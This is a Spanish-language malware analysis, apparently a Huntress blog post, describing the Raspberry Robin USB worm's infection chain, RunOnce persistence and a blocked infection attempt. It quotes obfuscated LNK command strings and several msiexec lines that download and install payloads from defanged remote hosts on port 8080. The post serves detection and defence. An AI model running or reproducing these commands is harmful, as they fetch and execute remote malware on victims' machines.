Debido a nuestra amplia y diversa base de clientes, Huntress “ve” buena parte de la misma actividad maliciosa que otros ven, aunque a menudo desde una perspectiva ligeramente distinta.
Un ejemplo de esto es que, no hace mucho, los analistas de Huntress investigaron un incidente del grupo de ransomware INC, uno que en ese momento recién había sido observado por otros. En otros casos, los analistas de Huntress pueden observar elementos de ataques o campañas que son ligeramente distintos de lo que experimentan otras firmas similares.
Desde julio de 2022, Huntress ha observado de manera intermitente el malware Raspberry Robin, transmitido por dispositivos USB, en nuestra base de clientes. En ese tiempo, hemos visto diferentes variaciones, así como una evolución en la respuesta al malware. Si bien no ha habido una cadencia regular de infecciones, está claro que la combinación de EDR gestionado por humanos y antivirus gestionado por humanos ofrece una gran capacidad de detección y respuesta frente a este tipo de infecciones.
¿Qué es Raspberry Robin?
Raspberry Robin es un malware que se ha descrito como un “gusano USB”, ya que los dispositivos USB son el principal mecanismo de distribución observado hasta ahora. Los usuarios interactúan con un archivo en un dispositivo USB y luego su sistema se infecta con el malware Raspberry Robin.
Se ha visto que Raspberry Robin es parte de un ecosistema de malware mucho más grande y actúa como un posible precursor de la implementación adicional de ransomware. Sin embargo, a diferencia de otros gusanos, no se ha observado que este malware se propague por sí solo a otros endpoints.
Cadena de infección de Raspberry Robin
La cadena de infección típica de Raspberry Robin sigue lo que se ha compartido anteriormente: el usuario conecta el dispositivo USB infectado y hace doble clic en el acceso directo/archivo LNK de Windows, lo que provoca que se ejecute un aparente archivo “basura” que contiene un comando MSIExec.
Los analistas de Huntress han observado varias variaciones de comandos incorporados en archivos de acceso directo/LNK de Windows, entre ellos:
tYPeWycz.Cfg|CMDcMd<xPhfk.sav!ComSpEc!<xnjhM.v!coMSPEc!<FN.iCo
Estos comandos redirigen o “canalizan” el contenido de los archivos “basura” hacia el procesador de comandos, denotado por “cmd” o “!comspec!”. Más recientemente, Huntress observó una línea de comando que contenía una cantidad significativa de “espacios en blanco” dentro de la línea de comando; es decir, había varios retornos de carro y caracteres de tabulación incluidos en la línea de comando, probablemente en un intento de evadir la detección.
El doble clic del usuario en el acceso directo/archivo LNK de Windows se ha observado dentro de la telemetría de EDR como un proceso Explorer.exe asociado con el nombre del archivo de acceso directo:
EXPLORER "USB DISK"EXPLORER "USB DRIVE"expLorER "ADATA UFD"EXPlOrEr "HBCD 15_2"
Cuando el procesador de comandos procesa el archivo “basura”, se lanza un comando de Microsoft Installer Executable (MSIExec), que descarga un archivo remoto al endpoint.
Huntress ha observado varias similitudes en estos comandos, y en particular, en los recursos remotos a los que se accede mediante el comando. Por ejemplo, al igual que con comandos anteriores en el proceso de infección, el comando en sí tiene mayúsculas y minúsculas mezcladas, alternando entre letras mayúsculas y minúsculas. El dominio al que se accede para el recurso tiene con mayor frecuencia tres caracteres de longitud, y el dominio de nivel superior tiene dos caracteres. Finalmente, el puerto al que se accede ha sido 8080. A continuación, ejemplos de comandos observados por los analistas de Huntress:
msiexec.exe -qUIeT /I HTtp://5g7[.]AT:8080/y8yNq/iZR/whjn/Ax6q80a/Y1Z5/j/fs/VTSAO?xxxx <redacted> FUBb=jxbCAQtnu"msIeXeC YliNpQ=YgYdWQ /q VZFfOPaC=gwiIp jE=jnlD -fV "hTtP://FxB[.]tw:8080/AMBG/9FlMJgrIkRjJfVw2bWSju/Machine=User"MsIEXEc HbeLpYii=TPvbe WyWsZiUBG=mpV /I "hTTP://eJK[.]bz:8080/BC/A3Y7fxb0oDMXkstfQGYd/Machine?User" -qUIeT ZS=xKG Kvbzhtp=UpyZqTff vQtPdg=mWbmSIExeC zkrZ=CtX /qN wZd=VgaoYGD /PACKAgE "HtTP://jRx[.]fR:8080/yKyC/bSis/yUp0OSNBN0eTTIjpK/Machine=User" dJYsmgC=pBVHKGG ieJ=SIYm Pm=cdFDvckTmSiexeC \tBIQGitHuP=OsdHlvG\tjYRdyzQwc=Hwr\t/fV\t\"hTTp://ZjC[.]bz:8080/AoA3LSHNJCaFIM/hMgkh/62oyni/<redacted>" EnksxM=KdVZ vTECB=bHLmevjk -QUIET\tWx=iY LdP=VEfGlpn\tMcxWT=zTtlOkU
Finalmente, la persistencia se establece creando un valor debajo de la clave del Registro RunOnce del usuario. Como afirmó Microsoft:
Las entradas en la clave RunOnce eliminan la entrada del registro antes de ejecutar el contenido ejecutable al iniciar sesión. Raspberry Robin vuelve a agregar esta clave una vez que se ejecuta correctamente para garantizar la persistencia. Después de la infección inicial, esto hace que RunOnce.exe lance el payload del malware en las líneas de tiempo. Raspberry Robin también cambia temporalmente el nombre de la clave RunOnce al escribir en ella para evadir las detecciones.
Como resultado, el malware persiste recreando un valor debajo de la clave del Registro RunOnce del usuario cada vez que se elimina y se ejecuta el valor de la clave.
Caza de Raspberry Robin
Durante agosto de 2023, los analistas de Huntress observaron un intento de infección de Raspberry Robin, uno que no logró completarse. La notificación del intento de infección se observó mediante detecciones basadas en la telemetría de EDR de Huntress y alertas de Managed Microsoft Defender. La siguiente tabla ilustra un extracto de la línea de tiempo de los eventos conforme se desarrollaba el intento de infección:
12:20:32Z
El usuario conecta el dispositivo “USB Disk 3.0” “USB\VID_13FE&PID_6300\070393698CF56A96” al endpoint; una búsqueda identifica este dispositivo como un dispositivo de Phison Electronics Corp, SN: 070393698CF56A96
12:21:12Z
El usuario hace doble clic en “USB DISK.lnk”, lanza “cmd /C!coMSPEc!<FN.iCo”, que ejecuta msiexec.exe (en este caso, “mSiexeC”) para descargar e instalar un archivo desde http://ZjC[.]bz:8080. Huntress detectó el patrón de ejecución de Raspberry Robin.
12:23:06Z
Windows Defender detecta el archivo descargado “C:\ProgramData\Rmbizw\felgs.evmg” y lo envía al cloud de Defender.
12:24:06Z
Windows Defender detecta el archivo enviado como “Trojan:Win32/Wacatac.H!ml”, con persistencia establecida mediante la clave del Registro RunOnce del usuario. El archivo se elimina correctamente.
12:26:26Z
El proceso MsiInstaller falla; mensaje: “WhOYztO -- Installation failed.”
En el momento de la investigación de Huntress sobre la detección del patrón de ejecución de Raspberry Robin, no se encontró el archivo “C:\ProgramData\Rmbizw\felgs.evmg” en el endpoint. Además, no había indicios de que RunOnce.exe hubiera ejecutado el malware observado dentro de la telemetría de EDR del endpoint.
Los datos de los registros de eventos de Windows del endpoint indican que el dispositivo USB en cuestión se conectó al endpoint repetidamente durante enero de 2023, siendo la fecha más temprana observada el 6 de enero de 2023. Cada vez que el dispositivo se conectaba al endpoint, Windows Defender detectaba el archivo “D:\USB DISK.lnk” como “Trojan:Win32/VintageDynamo.A”. El mensaje de MsiInstaller más antiguo disponible dentro de la línea de tiempo de los registros de eventos de Windows es del 28 de marzo de 2022, lo que antecede significativamente a la conexión del dispositivo “USB Disk 3.0” del 6 de enero de 2023; sin embargo, no hay eventos de MsiInstaller asociados con un intento de infección de Raspberry Robin hasta el 21 de agosto de 2023. Esto probablemente indica que el dispositivo USB estaba infectado antes del 6 de enero de 2023, y respalda la idea de que el usuario debe hacer doble clic en el acceso directo de Windows de Raspberry Robin en el dispositivo USB para activar la infección.
Conclusión
Huntress Managed EDR y Managed Microsoft Defender trabajan juntos para ofrecer capas superpuestas de protección de endpoints. Aplicar una combinación de Managed EDR y Managed Microsoft Defender permite tanto una defensa activa contra las amenazas mientras ocurren como visibilidad sobre cómo se presentan estas amenazas.
Como se muestra en el ejemplo anterior, partir de las detecciones de Managed AV puede revelar una cadena de infección, destacando otros puntos de contacto que los analistas deben buscar en caso de que Managed AV falle en el futuro. Mediante el análisis y la revisión continua de las alertas, y profundizando en el contexto que rodea una alarma determinada cuando se activa, los defensores de redes pueden obtener una mayor perspectiva y conciencia de cómo ocurren los eventos y qué mitigaciones adicionales o similares deben aplicarse para garantizar una cobertura integral contra amenazas adaptativas y persistentes.
